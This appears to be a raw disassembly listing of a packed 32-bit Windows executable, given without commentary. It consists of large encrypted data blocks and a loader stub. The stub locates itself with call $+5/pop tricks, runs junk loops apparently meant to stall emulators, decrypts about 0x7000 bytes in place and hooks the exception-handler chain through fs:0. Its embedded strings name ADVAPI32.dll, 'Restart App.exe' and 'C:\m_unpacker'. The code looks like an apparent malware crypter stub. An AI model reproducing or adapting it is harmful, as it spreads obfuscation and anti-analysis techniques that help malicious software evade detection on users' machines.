		dd 0EBFE1468h, 440FB622h, 3C64FFB4h, 98CDF705h,	86C4E403h
		dd 62C3A0ACh, 180EAD5h,	0CC512805h, 0C83E5BD8h,	6F042E72h
		dd 168668B8h, 2051A8D7h, 0FCDC25FDh, 13EC1FEAh,	5B780022h
		dd 0A54C406h, 0B77EB3B8h, 95874499h, 0FDA07F65h, 7D700DDBh
		dd 292D00D0h, 0CC13B83Bh, 0FC908C09h, 88406445h, 0ECA94DCBh
		dd 5F79C02Bh, 39F2DEA5h, 0DDCD81Dh, 8DF4180h, 267211D6h
		dd 9C4C7386h, 7BA900A3h, 8ED081A4h, 8777BD05h, 0E430D2E6h
		dd 0CB8372h, 25FA66A4h,	977E1346h, 6BDE6C13h, 278D7401h
		dd 4432A1CFh, 579CC200h, 3B1C065Ch, 0E46C3F07h,	2D4040B0h
		dd 1343AEC0h, 4BBA353h,	97BDA1C3h, 4E916040h, 56EEBA3Fh
		dd 32C5A200h, 0E98A1F2Ah, 0CBEF017Ch, 79C23B7Fh, 98C85096h
		dd 0B898D136h, 490C8001h, 0CC3042A5h, 77CF07F0h, 9424597Bh
		dd 0D041181h, 0FF014BCCh, 80EDFFh, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_569E28:				; CODE XREF: start:loc_519265j
					; DATA XREF: start:loc_519086o
		jmp	loc_56D111
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd offset loc_58FFFB+5
		align 4
		dd 2 dup(0)
		dd 78EFB900h, 0A33EBD3Ah, 0FFh,	9 dup(0)
		dd 0FF002300h, 0FFh, 7F8D8D00h,	0CBh, 2	dup(0)
		dd 100h, 2 dup(0)
		dd 90EB9400h, 7Ch, 52900h, 0FA639F00h, 0FFh, 0F1596D00h
		dd 563A6D7Ch, 2	dup(0)
		dd 90EB9400h, 7B8A177Ch, 31h, 2	dup(0)
		dd 0BFC32100h, 4Bh, 5 dup(0)
		dd 0A4B25000h, 0FFh, 3 dup(0)
		dd 56002300h, 2	dup(0)
		dd 2000h, 0AD1A4400h, 6	dup(0)
		dd 91F49E00h, 3Fh, 7 dup(0)
		dd 90EB9400h, 7Ch, 100h, 4 dup(0)
		dd 7F8D8D00h, 0CBh, 3 dup(0)
		dd 90EE1800h, 22ABF17Ch, 1Bh, 4	dup(0)
		dd 5AA91300h, 4	dup(0)
		dd 34567800h, 12h, 2Bh dup(0)
		dd 801A2400h, 7Ch, 5 dup(0)
		dd 747CE00h, 8Fh, 3 dup(0)
		dd 100h, 0Bh dup(0)
		dd 5AB4E700h, 3	dup(0)
		dd 40100000h, 4	dup(0)
		dd 0FF002300h, 0A28FFh,	3 dup(0)
		dd 23BA900h, 15h, 0B31E6900h, 5	dup(0)
		dd 80264000h, 7Ch, 2 dup(0)
		dd 0B08B3200h, 0
		dd 100h, 2 dup(0)
		dd 0EF46B600h, 0FEh, 0BFh dup(0)
		dd 5C610B00h, 5	dup(0)
		dd 99953400h, 0AFh, 0Fh	dup(0)
		dd 5C4A3800h, 3	dup(0)
		dd 0B08B0D00h, 0
		dd 125DAC00h, 1F400h, 0
		dd 56002300h, 80000000h, 7Ch, 0
		dd 0FF8D1500h, 1088C6FFh, 1, 2 dup(0)
		dd 0AD003E00h, 4 dup(0)
		dd 86E000h, 0
		dd 0EB9400h, 9400h, 2 dup(0)
		dd 12FFE000h, 5	dup(0)
		dd 5AE86E00h, 4	dup(0)
		dd 0F31C1800h, 5BD44F14h, 80264000h, 5C3A437Ch,	444E4957h
		dd 5C53574Fh, 74737973h, 32336D65h, 5644415Ch, 33495041h
		dd 6C642E32h, 6Ch, 3Ah dup(0)
		dd 41000000h, 80471C7Eh, 7Ch, 0B9B42E00h, 0DEFFBEFAh, 7Dh
		dd 2 dup(0)
		dd 5A375F00h, 9	dup(0)
		dd 0FF9B9800h, 0FFh, 7 dup(0)
		dd 90EB9400h, 7Ch, 3 dup(0)
		dd 0FFC22800h, 0FFh, 3 dup(0)
		dd 5BC32100h, 0
		dd 0ADFA0300h, 2 dup(0)
		dd 5A1FF700h, 3	dup(0)
		dd 5B1BF200h, 0
		dd 59C8D300h, 318D8D00h, 22h, 0Bh dup(0)
		dd 5205FD00h, 6EFFB0FFh, 1, 1Ch	dup(0)
		dd 51700000h, 2	dup(0)
		dd 56BF9100h, 0
		dd 5C534000h, 3	dup(0)
		dd 41A8AD00h, 7Eh, 0FFA6B000h, 8718C4FFh, 62h, 3 dup(0)
		dd 90EB9400h, 987Ch, 5C258500h,	0
		dd 0B800h, 0C00B0000h, 18C20374h, 24448B00h, 0E8530Ch
		dd 5B000000h, 17C381h, 5C890000h, 44891024h, 0B85B1424h
		dd 0ADFA37h, 448BE0FFh,	0E0FF0424h, 14h	dup(0)
		dd 0F22D3C00h, 0CAh, 5 dup(0)
		dd 8043EC00h, 7Ch, 2 dup(0)
		dd 5A340300h, 6	dup(0)
		dd 3B0CA300h, 1300948Fh, 5 dup(0)
		dd 29A91C00h, 1, 5EFFFF00h, 4 dup(0)
		dd 12FF5400h, 0E90F1E00h, 5Eh, 949F2700h, 56h, 0
		dd 0ADFA0300h, 3 dup(0)
		dd 5B0CB000h, 5	dup(0)
		dd 0DEFFBE00h, 7Dh, 3 dup(0)
		dd 0BB4B0700h, 6Dh, 0
		dd 5ACBE500h, 6	dup(0)
		dd 100h, 6 dup(0)
		dd 0FFFFA400h, 4F9264FFh, 81h, 3 dup(0)
		dd 5BD3B900h, 5	dup(0)
		dd 5A1E2200h, 0
		dd 0A3965900h, 0FFh, 19h dup(0)
		dd 5A1FF700h, 3	dup(0)
		dd 100h, 0DDEBE700h, 90EB9477h,	7Ch, 4 dup(0)
		dd 5B5D4B00h, 2	dup(0)
		dd 5A616900h, 5	dup(0)
		dd 0E09DD100h, 74h, 5 dup(0)
		dd offset dword_563F38+3C8h
		dd 12h dup(0)
		dd 59C61000h, 3	dup(0)
		dd 1A42000h, 0
		dd 0AD1A4400h, 2 dup(0)
		dd 0EBD3D400h, 63h, 0
		dd 4001D800h, 80162500h, 7Ch, 0
		dd 6F146C00h, 83h, 0EA855700h, 38h, 3 dup(0)
		dd 56DB1100h, 0A3D64B00h, 0FFh,	3 dup(0)
		dd 5CBD4900h, 21212100h, 1423A421h, 2 dup(0)
		dd 5B601500h, 9	dup(0)
		dd 18C89C00h, 33h, 4 dup(0)
		dd 0FFFFFF00h, 0FFh, 27h dup(0)
		dd 0CBF83700h, 0Bh, 9 dup(0)
		dd 0C4F35D00h, 70h, 6 dup(0)
		dd 0EB9400h, 4 dup(0)
		dd 2D8FFF00h, 0EFh, 0
		dd 0CB2F4800h, 0DFh, 3 dup(0)
		dd 2633F400h, 0AD941798h, 2 dup(0)
		dd 5C4FD800h, 2	dup(0)
		dd 80180E00h, 0C9A47Ch,	5 dup(0)
		dd 0A56B1700h, 0FFh, 400h, 56AD4100h, 5	dup(0)
		dd 0FFFFFF00h, 0FFh, 0Ah dup(0)
		dd 0A2000000h, 3 dup(0)
		dd 0AFFCAD00h, 2 dup(0)
		dd 11111100h, 987411h, 0ADFA0300h, 4 dup(0)
		dd 897EE200h, 29h, 7 dup(0)
		dd 57B19A00h, 0AD180F69h, 0
		dd 0B3021300h, 90EB9400h, 7Ch, 0
		dd 5C385800h, 2	dup(0)
		dd 5A834E00h, 0Dh dup(0)
		dd 5D489000h, 6	dup(0)
		dd 0FFFFFC00h, 0FFh, 0B12C2600h, 0EBD3D419h, 63h, 5B300100h
		dd 3 dup(0)
		dd 0F19FCE00h, 80B4CF3Dh, 7Ch, 3 dup(0)
		dd 40000000h, 73400100h, 0FDh, 16h dup(0)
		dd 0D683CB00h, 0ECh, 0
		dd 6F146C00h, 0AD8E5183h, 0
		dd 57344C00h, 0
		dd 0FFFFFF00h, 6F146CFFh, 83h, 5 dup(0)
		dd 90DDF900h, 7Ch, 5 dup(0)
		dd 5A591E00h, 0
		dd 6F146C00h, 0F45C1D83h, 0A9h,	0
		dd 2658C000h, 0A3C00501h, 0FFh,	4 dup(0)
		dd 6400h, 0AD37EC00h, 0AD608400h, 0
		dd 0AD180F00h, 0ADFA3700h, 56A4B500h, 0
		dd 5C4FD800h, 0FCE3D900h, 19h, 71005000h, 0FEh,	0B0287800h
		dd 58793F00h, 0ED4FDh, 3 dup(0)
		dd 90EB9400h, 7Ch, 19h dup(0)
		dd 7FC00h, 2 dup(0)
		dd 33333300h, 2	dup(33333333h),	5AD9E133h, 2 dup(0)
		dd 0D36CAA00h, 0Ah, 3 dup(0)
		dd 12FFF000h, 90EB9400h, 7Ch, 4	dup(0)
		dd 0AD192000h, 3 dup(0)
		dd 0A62DFC00h, 0CDh, 4 dup(0)
		dd 0A8003000h, 59ED017Dh, 5BEBA100h, 0
		dd 0FF8B2B00h, 12FF54FFh, 0
		dd 5A200900h, 7	dup(0)
		dd 0B34D00h, 0
		dd 0DD2D6F00h, 0AD00E82Bh, 80ADA000h, 17Ch, 0
		dd 5D9E3200h, 90EB9400h, 7Ch, 5	dup(0)
		dd 90EB9400h, 7Ch, 3 dup(0)
		dd 8214C000h, 7Ch, 9 dup(0)
		dd 0B01CF700h, 0
		dd 0DFC41B00h, 77h, 5AB8F000h, 2 dup(0)
		dd 5316B700h, 5Ah, 812A0900h, 7Ch, 0
		dd 7400h, 0AD003E00h, 5	dup(0)
		dd 0ED981E00h, 58h, 3 dup(0)
		dd 5968C600h, 0BAh, 0
		dd 5C388800h, 5	dup(0)
		dd 7FD80100h, 5AE86EE8h, 2 dup(0)
		dd 0DF19DE00h, 5CE0B3B4h, 0E08A9400h, 0DD000066h, 64A877h
		dd 0Bh dup(0)
		dd 3D00h, 5BB55400h, 0
		dd 0BD000000h, 5FC0C400h, 90EB947Ah, 17Ch, 56A4B500h, 12FFA400h
		dd 0DFBFA600h, 60h, 0
		dd 80000000h, 7Ch, 0DE67DB00h, 0B3h, 0
		dd 7F8D8D00h, 4F000CCBh, 564302h, 2 dup(0)
		dd 0C4F35D00h, 30DF70h,	0
		dd 645DF500h, 7Fh, 56A4B500h, 3	dup(0)
		dd 8400h, 5A7BAE00h, 12h dup(0)
		dd 122FAE00h, 0
		dd 0FB5E200h, 8Ah, 4 dup(0)
		dd 91703F00h, 7Ch, 2 dup(0)
		dd 0DBE88B00h, 0EAh, 3 dup(0)
		dd 81CDDA00h, 7Ch, 5 dup(0)
		dd 0ED00AC00h, 0A90486FFh, 0FFh, 2 dup(0)
		dd 13FEEB00h, 68BAh, 3 dup(0)
		dd 56FB7A00h, 3	dup(0)
		dd 0ADFA0300h, 0
		dd 0AD000000h, 0
		dd 5CD67700h, 4	dup(0)
		dd 0A412E800h, 0FFh, 4 dup(0)
		dd 7800h, 2 dup(0)
		dd 3 dup(100h),	6 dup(0)
		dd 0F5AE0000h, 6Fh, 0
		dd 5A1FF700h, 5	dup(0)
		dd 0FF908000h, 0FFh, 5A1FF700h,	0
		dd 1EE71000h, 0F3h, 0FF002300h,	0FFh, 7	dup(0)
		dd 0AD1A3C00h, 476DBC00h, 0FFh,	3 dup(0)
		dd 0FE4A0400h, 0FFh, 7EE04D00h,	36h, 6 dup(0)
		dd 0D9EC7400h, 45h, 3 dup(0)
		dd 22222200h, 22222222h, 0D3F1D22h, 0ADA8CFE6h,	0
		dd 56D67200h, 0AD291800h, 5A1FF700h, 0
		dd 5D600h, 0
		dd 5A762700h, 0ED013800h, 0FFh,	4 dup(0)
		dd 0FCE02F00h, 0E1h, 1Ah dup(0)
		dd 0AD184200h, 5 dup(0)
		dd 0E6601300h, 2, 0BFFE2800h, 0FFh, 5 dup(0)
		dd 56C95E00h, 4	dup(0)
		dd 1EA33700h, 56h, 5 dup(0)
		dd 6C00h, 0
		dd 0A520000h, 90h, 2 dup(0)
		dd 0DC00h, 3 dup(0)
		dd 0AD180F00h, 58000000h, 5B1C1702h, 0
		dd 0BCB67900h, 23h, 2 dup(0)
		dd 0F87D1A00h, 0ADAAA1CEh, 0Fh dup(0)
		dd 0DC8D8D00h, 0A4h, 11DC00h, 5C618E00h, 2 dup(0)
		dd 5000000h, 86E000h, 0Fh dup(0)
		dd 0DD788300h, 77h, 46F00h, 0Dh	dup(0)
		dd 0FB5E200h, 8Ah, 7D100h, 0
		dd 91631500h, 7Ch, 5 dup(0)
		dd 9C00h, 5 dup(0)
		dd 4314E600h, 3Dh, 90EB9400h, 7Ch, 4 dup(0)
		dd 56DEB500h, 0C530DF00h, 736552A9h, 74726174h,	2E707041h
		dd 657865h, 90EB9400h, 7Ch, 4 dup(0)
		dd 0F56E0D00h, 0BCh, 5 dup(0)
		dd 1481B300h, 7Fh, 5 dup(0)
		dd 668D8D00h, 0C6h, 29A91C00h, 961C0C01h, 0FEh,	5 dup(0)
		dd 62162100h, 560023C4h, 2Ah dup(0)
		dd 0C530DF00h, 0A9h, 0
		dd 80351800h, 7Ch, 3 dup(0)
		dd 81458D00h, 0F5h, 0
		dd 809B4700h, 7Ch, 0
		dd 0B0004600h, 3 dup(0)
		dd 15CE900h, 0
		dd 5A1FF700h, 6	dup(0)
		dd 0A2DF7F00h, 7Eh, 80ADA100h, 7Ch, 29A91C00h, 1, 814AF200h
		dd 78FE7Ch, 0
		dd 37000h, 0
		dd 56A81900h, 2	dup(0)
		dd 0FF8FF800h, 0FFh, 5 dup(0)
		dd 5A40EA00h, 0
		dd 400h, 7 dup(0)
		dd 100h, 4 dup(0)
		dd 24242400h, 24h, 0B5A99200h, 8C00h, 90EB9400h, 7Ch, 0B5C000h
		dd 100h, 0
		dd 5000h, 80180E00h, 809B477Ch,	7Ch, 4 dup(0)
		dd 0F62D4400h, 14h, 6 dup(0)
		dd 0ADFA0300h, 0
		dd 6DD000h, 5DAC00h, 0Ah dup(0)
		dd 65685400h, 6164696Dh, 1Dh dup(0)
		dd 0AD37EC00h, 0DE67DB00h, 0B3h, 812ADE00h, 7Ch, 7 dup(0)
		dd 0A6DC5C00h, 0FFh, 2 dup(0)
		dd 5D375B00h, 2	dup(0)
		dd 5A3F6B00h, 0
		dd 90EB9400h, 7Ch, 2 dup(0)
		dd 5CC0A500h, 3	dup(0)
		dd 5D9E3200h, 2	dup(0)
		dd 0C4F35D00h, 809B4770h, 7Ch, 0
		dd 593A1500h, 41A8AD00h, 7Eh, 2	dup(0)
		dd 80000000h, 7Ch, 2 dup(0)
		dd 90627000h, 1E949B7Ch, 76h, 0Ch dup(0)
		dd 5A10D900h, 2	dup(0)
		dd 810A7700h, 7Ch, 2 dup(0)
		dd 100000h, 2 dup(0)
		dd 0BDDFFC00h, 807Ch, 0
		dd 79C27200h, 0AAh, 8399400h, 4	dup(0)
		dd 12FFA400h, 0A2EBE600h, 0FFh,	0
		dd 0FFAD6800h, 0FFh, 0
		dd 0CD530200h, 0FAFBDF7Ch, 8Ah,	3 dup(0)
		dd 5C8BF400h, 56000000h, 2, 90EB9400h, 5CC4117Ch, 3 dup(0)
		dd 90EB9400h, 59BDF97Ch, 814AF200h, 3AA007Ch, 6980E00h
		dd 80264400h, 7Ch, 3 dup(0)
		dd 5E288600h, 5C8BF46Ch, 0
		dd 19C400h, 0
		dd 5B9A5F00h, 8	dup(0)
		dd 57000000h, 7F7BEF02h, 2Fh, 93A49000h, 43h, 0
		dd 0AD410F00h, 0FFh, 0Ch dup(0)
		dd 59FAC900h, 0Ah dup(0)
		dd offset loc_5B1800
		dd 4 dup(0)
		dd 5BC20E00h, 3FFD4000h, 0FDh, 59ED0100h, 7 dup(0)
		dd 12FF8C00h, 6	dup(0)
		dd 57BD2D00h, 0D1h, 668D8D00h, 0AD1842C6h, 9000h, 2 dup(0)
		dd 59ED0100h, 9	dup(0)
		dd 5BB79900h, 2	dup(0)
		dd 0F56E0D00h, 0BCh, 0FFC95600h, 0FFh, 4 dup(0)
		dd 0AD003E00h, 90F29400h, 7Ch, 0
		dd 90EB9400h, 10E87Ch, 6 dup(0)
		dd 0FF9A4400h, 0FFh, 0
		dd 0F3000000h, 5ADA3714h, 4 dup(0)
		dd 92900h, 3 dup(0)
		dd 29A91C00h, 1, 6 dup(0)
		dd 100h, 2 dup(0)
		dd 5A2C0E00h, 0C7h, 5 dup(0)
		dd 0C4F35D00h, 70h, 5 dup(0)
		dd 59ED0100h, 4	dup(0)
		dd 0A89F3900h, 964AC1ABh, 1, 6000h, 2 dup(0)
		dd 5C4FD800h, 100h, 5 dup(0)
		dd 39EB00h, 0Ch	dup(0)
		dd 0ADFFF300h, 56A4B5E6h, 7 dup(0)
		dd 6F84E100h, 83h, 2 dup(0)
		dd 200h, 6 dup(0)
		dd 12FF6000h, 2	dup(0)
		dd 80471C00h, 7Ch, 4 dup(0)
		dd 0D0DF300h, 0E6h, 0
		dd 90EB9400h, 7Ch, 0E00h, 0
		dd 0AD000000h, 7 dup(0)
		dd 0FF9A4800h, 0AD8E51FFh, 4 dup(0)
		dd 55597400h, 86h, 17D9E500h, 10h, 2 dup(0)
		dd 5BAD9D00h, 8	dup(0)
		dd 5D2B7000h, 0Ah dup(0)
		dd 91056D00h, 7Ch, 5CC41100h, 3	dup(0)
		dd 0A95B4B00h, 5C401BFFh, 5A906700h, 2 dup(0)
		dd 5A10D900h, 2	dup(0)
		dd 5BC2EA00h, 0A43CE300h, 0FFh,	66400h,	19700h,	5 dup(0)
		dd 0AD8D2000h, 0
		dd 6E73F00h, 3Eh, 3 dup(0)
		dd 5C66BE00h, 0
		dd 7D0ADA00h, 12h, 2 dup(0)
		dd 7F5F3D00h, 0F5h, 0
		dd 0DD6BF000h, 77h, 2 dup(0)
		dd 0FFFFFF00h, 363636FFh, 36h, 5 dup(0)
		dd 0ADFA0300h, 2 dup(0)
		dd 5BA37400h, 0
		dd 4FFFBA00h, 0FFh, 0
		dd 0A5E00900h, 0FFh, 2D343000h,	31h, 0D1D600h, 0Ah dup(0)
		dd 12FF5400h, 6	dup(0)
		dd 0AD003E00h, 90000000h, 90EB947Ch, 7Ch, 0C878A400h, 83h
		dd 3 dup(0)
		dd 0DE67DB00h, 0B3h, 2 dup(0)
		dd 4F000000h, 90EE1802h, 7Ch, 0Eh dup(0)
		dd 81CDDA00h, 7Ch, 0E3F9FF00h, 7Ch, 0FF8FF800h,	5C5198FFh
		dd 0
		dd 59C8AB00h, 2	dup(0)
		dd 4001D800h, 2	dup(0)
		dd 0AD184200h, 2 dup(0)
		dd 29A91C00h, 1, 0
		dd 5A1FF700h, 3	dup(0)
		dd 3EFFB000h, 2, 0Dh dup(0)
		dd 80ABDE00h, 5B60157Ch, 4 dup(0)
		dd 12FFA400h, 2	dup(0)
		dd 56FFFE00h, 6	dup(0)
		dd 0AD000000h, 5BA39100h, 0
		dd 4505FC00h, 0A9298E7Eh, 0FFh,	2 dup(0)
		dd 134B5300h, 0A3h, 17h	dup(0)
		dd 0FAE75E00h, 0Eh, 0
		dd 100h, 9 dup(0)
		dd 28010500h, 0Ah, 3 dup(0)
		dd 0AD8B2800h, 7 dup(0)
		dd 90EB9400h, 7Ch, 3 dup(0)
		dd 56FB7A00h, 0
		dd 5BB80900h, 5B3BD800h, 0
		dd 0AD280800h, 90CF00h,	0
		dd 5AF6D800h, 0
		dd 33F76600h, 5AEA597Ch, 5 dup(0)
		dd 97E4C000h, 0D3F1D7Ch, 4E6h, 59000000h, 0
		dd 59000000h, 5B1BF202h, 9 dup(0)
		dd 0E88F1C00h, 0B44E5B3Fh, 0A5E00976h, 0FFh, 2 dup(0)
		dd 0ADFA0300h, 4 dup(0)
		dd 56C95D00h, 9	dup(0)
		dd 59912F00h, 5C495F00h, 5 dup(0)
		dd 5CDF7700h, 6	dup(0)
		dd 0A3380600h, 0FFh, 0
		dd 1900h, 5C1400h, 9 dup(0)
		dd 95D60800h, 0FEh, 7C00h, 5 dup(0)
		dd 5AE87000h, 5	dup(0)
		dd 0FFFFFA00h, 0FFh, 29A91C00h,	1, 5A616900h, 4	dup(0)
		dd 3E2FAE00h, 0AD8EE429h, 0
		dd 1DE00000h, 8	dup(0)
		dd 29A91C00h, 1, 0A416CA00h, 0FFh, 7 dup(0)
		dd 0AD000000h, 5 dup(0)
		dd 5C3A4300h, 6E755F6Dh, 6B636170h, 7265h, 7Ch dup(0)
		dd 5C00h, 100h,	5 dup(0)
		dd 0FFDB0000h, 0FFh, 8 dup(0)
		dd 29A91C00h, 1, 0
		dd 56B4F100h, 9	dup(0)
		dd 21500h, 8 dup(0)
		dd 0FB5E200h, 8Ah, 0
		dd 73200h, 5 dup(0)
		dd 5DDEF700h, 0
		dd 6DAF2A00h, 76h, 0Fh dup(0)
		dd 21982500h, 4Ch, 5CED9A00h, 8800h, 66h dup(0)
		dd 0FF860000h, 0FFh, 0
		dd 3B500h, 0F12BA500h, 3Fh, 19h	dup(0)
		dd 33FF3300h, 37h, 0
		dd 5B1E3500h, 90EB9400h, 7Ch, 1Dh dup(0)
		dd 5B300100h, 0
		dd 29A91C00h, 1, 80h dup(0)
		dd 5BEB4300h, 2	dup(0)
		dd 30DF00h, 11h	dup(0)
		dd 90EB9400h, 0F06F717Ch, 570000FFh, 0AD180F02h, 6 dup(0)
		dd 56A4B500h, 3	dup(0)
		dd 0F31C1800h, 14h, 2 dup(0)
		dd 12FFC400h, 4	dup(0)
		dd 8111DA00h, 7Ch, 0
		dd 5C00h, 8 dup(0)
		dd 6F11E800h, 83h, 801D7700h, 7Ch, 2 dup(0)
		dd 5C7A2000h, 8	dup(0)
		dd 90EB9400h, 59C62A7Ch, 0
		dd 68DD7C00h, 1, 0
		dd 5923A400h, 0
		dd 5C65E300h, 7000h, 4 dup(0)
		dd 56D67200h, 7	dup(0)
		dd 59C88300h, 5AB8D800h, 0
		dd 5A002300h, 0
		dd offset dword_5DAC00
		dd 2 dup(0)
		dd 51A08700h, 0FAh, 5BEEF900h, 4 dup(0)
		dd 5BD41600h, 5BA37400h, 2 dup(0)
		dd 0AD180F00h, 3 dup(0)
		dd 56002300h, 4	dup(0)
		dd 5968C600h, 0BAh, 2 dup(0)
		dd 56BADD00h, 2	dup(0)
		dd 92900h, 4 dup(0)
		dd 0ADB50800h, 12FF5400h, 0AD3FFC00h, 5A002300h, 0
		dd 0B58D8D00h, 0C4h, 0AE172700h, 0FEh, 3 dup(0)
		dd 11600000h, 4	dup(0)
		dd 11901400h, 3	dup(0)
		dd 809AE400h, 5A591E7Ch, 0Ah dup(0)
		dd 263800h, 3 dup(0)
		dd 29A91C00h, 1, 6 dup(0)
		dd 56C0F500h, 0
		dd 696400h, 0EDF7E300h,	70h, 2 dup(0)
		dd 8800h, 2 dup(0)
		dd 100h, 0
		dd 0B5E200h, 3 dup(0)
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_56D111:				; CODE XREF: start:loc_569E28j
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 5D132F3h
		mov	[ebp+5D1307Dh],	edx
		mov	[ebp+5D12265h],	esi
		mov	[ebp+5D1125Dh],	eax
		cmp	dword ptr [ebp+5D12401h], 0
		jz	short loc_56D149
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_56D149:				; CODE XREF: start+54127j
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+5D10F35h],	eax
		push	45h
		call	sub_56D1FD
		push	783749Ah
		call	sub_56D243
		push	0A894B25h
		call	sub_56D243
		jmp	loc_56D387
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 45h
		dd 49484746h, 4D4C4B4Ah, 51504F4Eh, 55545352h, 59585756h
		dd 5D5C5B5Ah, 61605F5Eh, 65646362h, 69686766h, 6D6C6B6Ah
		dd 71706F6Eh, 75747372h, 79787776h, 7D7C7B7Ah, 81807F7Eh
		dd 85848382h, 89888786h, 8D8C8B8Ah, 91908F8Eh, 95949392h
		dd 99989796h, 9D9C9B9Ah, 0A1A09F9Eh, 0A5A4A3A2h, 0A9A8A7A6h
		dd 0ADACABAAh, 0B1B0AFAEh, 0B5B4B3B2h, 0B9B8B7B6h, 0BDBCBBBAh
		dd 0C1C0BFBEh, 0C3C2h, 2 dup(0)
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_56D1FD	proc near		; CODE XREF: start+54141p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 5D133E1h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_56D219:				; CODE XREF: sub_56D1FD+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_56D238
		mov	eax, [ebp+arg_0]
		mov	[ebx+5D1334Bh],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_56D219
; ---------------------------------------------------------------------------


loc_56D238:				; CODE XREF: sub_56D1FD+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_56D1FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_56D243	proc near		; CODE XREF: start+5414Bp start+54155p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 5D1342Ah
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_56D269:				; CODE XREF: sub_56D243+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_56D269
		mov	[ebp+var_84], 0
		lea	edi, [edx+5D1334Bh]
		lea	esi, [ebp+var_80]


loc_56D299:				; CODE XREF: sub_56D243+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_56D2A5:				; CODE XREF: sub_56D243+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_56D2A5
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_56D299
		popa
		leave
		retn	4
sub_56D243	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_56D2E3
; ---------------------------------------------------------------------------


loc_56D2DF:				; CODE XREF: ud2_____:0056D2E6j
		inc	dword ptr [ebp-4]
		inc	esi


loc_56D2E3:				; CODE XREF: ud2_____:0056D2DDj
		cmp	byte ptr [esi],	0
		jnz	short loc_56D2DF
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_56D374
; ---------------------------------------------------------------------------


loc_56D2F5:				; CODE XREF: ud2_____:0056D377j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_56D36B
; ---------------------------------------------------------------------------


loc_56D2FE:				; CODE XREF: ud2_____:0056D36Fj
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_56D358
; ---------------------------------------------------------------------------


loc_56D30E:				; CODE XREF: ud2_____:0056D35Cj
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_56D330
		cmp	bl, 39h
		ja	short loc_56D330
		sub	bl, 30h
		jmp	short loc_56D352
; ---------------------------------------------------------------------------


loc_56D330:				; CODE XREF: ud2_____:0056D324j
					; ud2_____:0056D329j
		cmp	bl, 61h
		jb	short loc_56D342
		cmp	bl, 66h
		ja	short loc_56D342
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_56D352
; ---------------------------------------------------------------------------


loc_56D342:				; CODE XREF: ud2_____:0056D333j
					; ud2_____:0056D338j
		cmp	bl, 41h
		jb	short loc_56D352
		cmp	bl, 46h
		ja	short loc_56D352
		sub	bl, 41h
		add	bl, 0Ah


loc_56D352:				; CODE XREF: ud2_____:0056D32Ej
					; ud2_____:0056D340j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_56D358:				; CODE XREF: ud2_____:0056D30Cj
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_56D30E
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_56D368
		mov	eax, [ebp-10h]
		stosb


loc_56D368:				; CODE XREF: ud2_____:0056D362j
		inc	dword ptr [ebp-8]


loc_56D36B:				; CODE XREF: ud2_____:0056D2FCj
		cmp	dword ptr [ebp-8], 2
		jb	short loc_56D2FE
		add	edx, 4


loc_56D374:				; CODE XREF: ud2_____:0056D2F3j
		cmp	edx, [ebp-4]
		jb	loc_56D2F5
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_56D387:				; CODE XREF: start+5415Aj
		mov	ecx, 7000h
		lea	edi, [ebp+5D13570h]


loc_56D392:				; CODE XREF: start+54382j
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_56D392
		mov	eax, 48692121h
		mov	edx, 0F0119000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+5D1364Fh]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		mov	bx, 0FC0Eh
